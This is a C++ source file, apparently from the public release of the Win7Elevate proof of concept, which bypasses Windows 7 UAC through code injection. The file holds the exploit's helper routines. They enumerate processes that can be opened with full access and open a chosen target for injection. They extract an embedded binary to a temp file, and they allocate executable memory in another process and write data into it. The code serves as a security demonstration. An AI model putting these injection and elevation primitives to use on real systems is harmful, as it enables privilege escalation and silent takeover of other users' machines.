348 lines
10 KiB
C++
348 lines
10 KiB
C++
#include "stdafx.h"
|
|
#include "Win7Elevate_Utils.h"
|
|
|
|
#include ".\..\CMMN.h"
|
|
|
|
// All code (except for GetElevationType) (C) Leo Davidson, 8th February 2009, all rights reserved.
|
|
// (Minor tidy-up 12th June 2009 for the code's public release.)
|
|
// http://www.pretentiousname.com
|
|
// leo@ox.compsoc.net
|
|
//
|
|
// Using any part of this code for malicious purposes is expressly forbidden.
|
|
//
|
|
// This proof-of-concept code is intended only to demonstrate that code-injection
|
|
// poses a real problem with the default UAC settings in Windows 7 (tested with RC1 build 7100).
|
|
//
|
|
// Win7Elevate_Inject.cpp is the most interesting file. Most of the rest is just boilerplate UI/util code.
|
|
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
|
|
bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapProcs)
|
|
{
|
|
// Note: We probably need to target a process which has the same ASLR setting as us, i.e. ON.
|
|
// Explorer.exe is our default since it has ASLR on, is always running and can do the COM silent-elevation stuff by default.
|
|
|
|
bool bResult = false;
|
|
|
|
mapProcs.clear();
|
|
|
|
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
|
|
if (hSnapshot == INVALID_HANDLE_VALUE)
|
|
{
|
|
//MessageBox(hWnd, L"CreateToolhelp32Snapshot failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
|
CLogger::LogLine(L"CreateToolhelp32Snapshot failed");
|
|
}
|
|
else
|
|
{
|
|
bool bFirst = true;
|
|
PROCESSENTRY32 pe;
|
|
|
|
while(true)
|
|
{
|
|
ZeroMemory(&pe, sizeof(pe));
|
|
pe.dwSize = sizeof(pe);
|
|
|
|
BOOL bPR = FALSE;
|
|
|
|
if (bFirst)
|
|
{
|
|
bFirst = false;
|
|
bPR = Process32First(hSnapshot, &pe);
|
|
}
|
|
else
|
|
{
|
|
bPR = Process32Next(hSnapshot, &pe);
|
|
}
|
|
|
|
if (!bPR)
|
|
{
|
|
DWORD dwErr = GetLastError();
|
|
|
|
if (ERROR_NO_MORE_FILES != dwErr)
|
|
{
|
|
//MessageBox(hWnd, L"Process32Next/First failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
|
CLogger::LogLine(L"Process32Next/First failed");
|
|
}
|
|
else if (mapProcs.empty())
|
|
{
|
|
//MessageBox(hWnd, L"Process32Next/First returned nothing", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
|
CLogger::LogLine(L"Process32Next/First returned nothing");
|
|
}
|
|
else
|
|
{
|
|
bResult = true;
|
|
}
|
|
|
|
break; // Stop enumerating.
|
|
}
|
|
|
|
// Only insert processes that we can open
|
|
|
|
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
|
|
|
|
if (hProc != 0)
|
|
{
|
|
CloseHandle(hProc);
|
|
mapProcs.insert( std::make_pair( pe.th32ProcessID, pe.szExeFile ) );
|
|
}
|
|
}
|
|
|
|
CloseHandle(hSnapshot);
|
|
}
|
|
|
|
return bResult;
|
|
}
|
|
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
|
|
bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPid, const wchar_t *szProcName)
|
|
{
|
|
*pOutProcHandle = 0;
|
|
|
|
if (szProcName == NULL)
|
|
{
|
|
//MessageBox(hWnd, L"No process name passed in", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
|
CLogger::LogLine(L"No process name passed in");
|
|
return false;
|
|
}
|
|
|
|
*pOutProcHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
|
|
|
|
if (*pOutProcHandle == 0)
|
|
{
|
|
DWORD dwError = GetLastError();
|
|
|
|
wchar_t szPID[128];
|
|
_itow_s(dwPid, szPID, _countof(szPID), 10);
|
|
|
|
wchar_t szError[128];
|
|
_itow_s(dwError, szError, _countof(szError), 10);
|
|
|
|
std::wstring strMsg = L"Couldn't open process ";
|
|
strMsg += szProcName;
|
|
strMsg += L" (pid: ";
|
|
strMsg += szPID;
|
|
strMsg += L") ";
|
|
|
|
if (dwError == ERROR_ACCESS_DENIED)
|
|
{
|
|
strMsg += L"ERROR_ACCESS_DENIED\n(We probably tried to inject into an elevated process\nwhich isn't allowed unless we're also elevated.\nPick an unelevated process.)";
|
|
}
|
|
else
|
|
{
|
|
strMsg += L"error ";
|
|
strMsg += szError;
|
|
}
|
|
|
|
//MessageBox(hWnd, strMsg.c_str(), L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
|
CLogger::LogLine(strMsg);
|
|
|
|
return false;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
|
|
W7EUtils::CTempResource::CTempResource(HINSTANCE hInstance, int iResourceId)
|
|
: m_hInstance(hInstance)
|
|
, m_iResourceId(iResourceId)
|
|
{
|
|
}
|
|
|
|
// virtual
|
|
W7EUtils::CTempResource::~CTempResource()
|
|
{
|
|
if (!m_strFilePath.empty())
|
|
{
|
|
DeleteFile(m_strFilePath.c_str());
|
|
m_strFilePath.clear();
|
|
}
|
|
m_iResourceId = 0;
|
|
}
|
|
|
|
bool W7EUtils::CTempResource::GetFilePath(std::wstring &strPath)
|
|
{
|
|
if (m_strFilePath.empty())
|
|
{
|
|
wchar_t szTempPath[MAX_PATH];
|
|
|
|
DWORD dwTemp = GetTempPath(_countof(szTempPath), szTempPath);
|
|
|
|
if (dwTemp != 0 && dwTemp < _countof(szTempPath))
|
|
{
|
|
HRSRC hResource = FindResource(m_hInstance, MAKEINTRESOURCE(m_iResourceId), L"BINARY");
|
|
|
|
if (hResource)
|
|
{
|
|
HGLOBAL hLoadedResource = LoadResource(m_hInstance, hResource);
|
|
|
|
if (hLoadedResource)
|
|
{
|
|
LPVOID pLockedResource = LockResource(hLoadedResource);
|
|
|
|
if (pLockedResource)
|
|
{
|
|
DWORD dwResourceSize = SizeofResource(m_hInstance, hResource);
|
|
|
|
if (0 != dwResourceSize)
|
|
{
|
|
wchar_t szTempFilePath[MAX_PATH];
|
|
|
|
if (0 != GetTempFileName(szTempPath, L"w7e", 0, szTempFilePath))
|
|
{
|
|
HANDLE hFile = CreateFile(szTempFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
|
|
if (INVALID_HANDLE_VALUE != hFile)
|
|
{
|
|
DWORD dwBytesWritten = 0;
|
|
|
|
if (WriteFile(hFile, pLockedResource, dwResourceSize, &dwBytesWritten, NULL)
|
|
&& dwBytesWritten == dwResourceSize)
|
|
{
|
|
m_strFilePath = szTempFilePath;
|
|
}
|
|
|
|
CloseHandle(hFile);
|
|
|
|
if (m_strFilePath.empty())
|
|
{
|
|
DeleteFile(szTempFilePath);
|
|
}
|
|
}
|
|
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
if (!m_strFilePath.empty())
|
|
{
|
|
strPath = m_strFilePath;
|
|
return true;
|
|
}
|
|
|
|
strPath.clear();
|
|
return false;
|
|
}
|
|
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
|
|
W7EUtils::CRemoteMemory::CRemoteMemory(HANDLE hRemoteProcess)
|
|
: m_hRemoteProcess(hRemoteProcess)
|
|
, m_bAnyFailures(false)
|
|
{
|
|
}
|
|
|
|
// virtual
|
|
W7EUtils::CRemoteMemory::~CRemoteMemory()
|
|
{
|
|
while(!m_listRemoteAllocations.empty())
|
|
{
|
|
VirtualFreeEx(m_hRemoteProcess, m_listRemoteAllocations.back(), 0, MEM_RELEASE);
|
|
m_listRemoteAllocations.pop_back();
|
|
}
|
|
}
|
|
|
|
void W7EUtils::CRemoteMemory::LeakMemory()
|
|
{
|
|
m_listRemoteAllocations.clear();
|
|
}
|
|
|
|
bool W7EUtils::CRemoteMemory::AnyFailures() const
|
|
{
|
|
return m_bAnyFailures;
|
|
}
|
|
|
|
void *W7EUtils::CRemoteMemory::AllocAndCopyMemory(const void *pLocalBuffer, SIZE_T bufferSize, bool bExecutable, bool bConst)
|
|
{
|
|
void *pRemoteAllocation = VirtualAllocEx(m_hRemoteProcess, 0, bufferSize, MEM_COMMIT | PAGE_READWRITE, bExecutable ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE);
|
|
|
|
if (pRemoteAllocation)
|
|
{
|
|
DWORD dwOldProtect = 0;
|
|
|
|
if (!WriteProcessMemory(m_hRemoteProcess, pRemoteAllocation, pLocalBuffer, bufferSize, NULL)
|
|
|| (!bExecutable && !bConst && !VirtualProtectEx(m_hRemoteProcess, pRemoteAllocation, bufferSize, bExecutable ? PAGE_EXECUTE_READ : PAGE_READONLY, &dwOldProtect)))
|
|
{
|
|
VirtualFreeEx(m_hRemoteProcess, pRemoteAllocation, 0, MEM_RELEASE);
|
|
pRemoteAllocation = 0;
|
|
}
|
|
else
|
|
{
|
|
m_listRemoteAllocations.push_back(pRemoteAllocation);
|
|
}
|
|
}
|
|
|
|
if (pRemoteAllocation == 0)
|
|
{
|
|
m_bAnyFailures = true;
|
|
}
|
|
|
|
return pRemoteAllocation;
|
|
}
|
|
|
|
wchar_t *W7EUtils::CRemoteMemory::AllocAndCopyMemory(const wchar_t *szLocalString, bool bConst)
|
|
{
|
|
return reinterpret_cast< wchar_t * >(
|
|
this->AllocAndCopyMemory(
|
|
reinterpret_cast< const void * >( szLocalString ),
|
|
(wcslen(szLocalString)+1) * sizeof(szLocalString[0]),
|
|
false, bConst ) );
|
|
}
|
|
|
|
char *W7EUtils::CRemoteMemory::AllocAndCopyMemory(const char *szLocalString, bool bConst)
|
|
{
|
|
return reinterpret_cast< char * >(
|
|
this->AllocAndCopyMemory(
|
|
reinterpret_cast< const void * >( szLocalString ),
|
|
(strlen(szLocalString)+1) * sizeof(szLocalString[0]),
|
|
false, bConst ) );
|
|
}
|
|
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
|
|
// GetElevationType slightly modified from original by Andrei Belogortseff
|
|
// From http://stackoverflow.com/questions/95912/how-can-i-detect-if-my-process-is-running-uac-elevated-or-not
|
|
bool W7EUtils::GetElevationType(TOKEN_ELEVATION_TYPE * ptet)
|
|
{
|
|
bool bResult = false;
|
|
|
|
HANDLE hToken = NULL;
|
|
|
|
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
|
|
{
|
|
DWORD dwReturnLength = 0;
|
|
|
|
if (GetTokenInformation(hToken, TokenElevationType, ptet, sizeof(*ptet), &dwReturnLength ))
|
|
{
|
|
assert(dwReturnLength == sizeof(*ptet));
|
|
bResult = true;
|
|
}
|
|
|
|
CloseHandle(hToken);
|
|
}
|
|
|
|
return bResult;
|
|
}
|
|
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|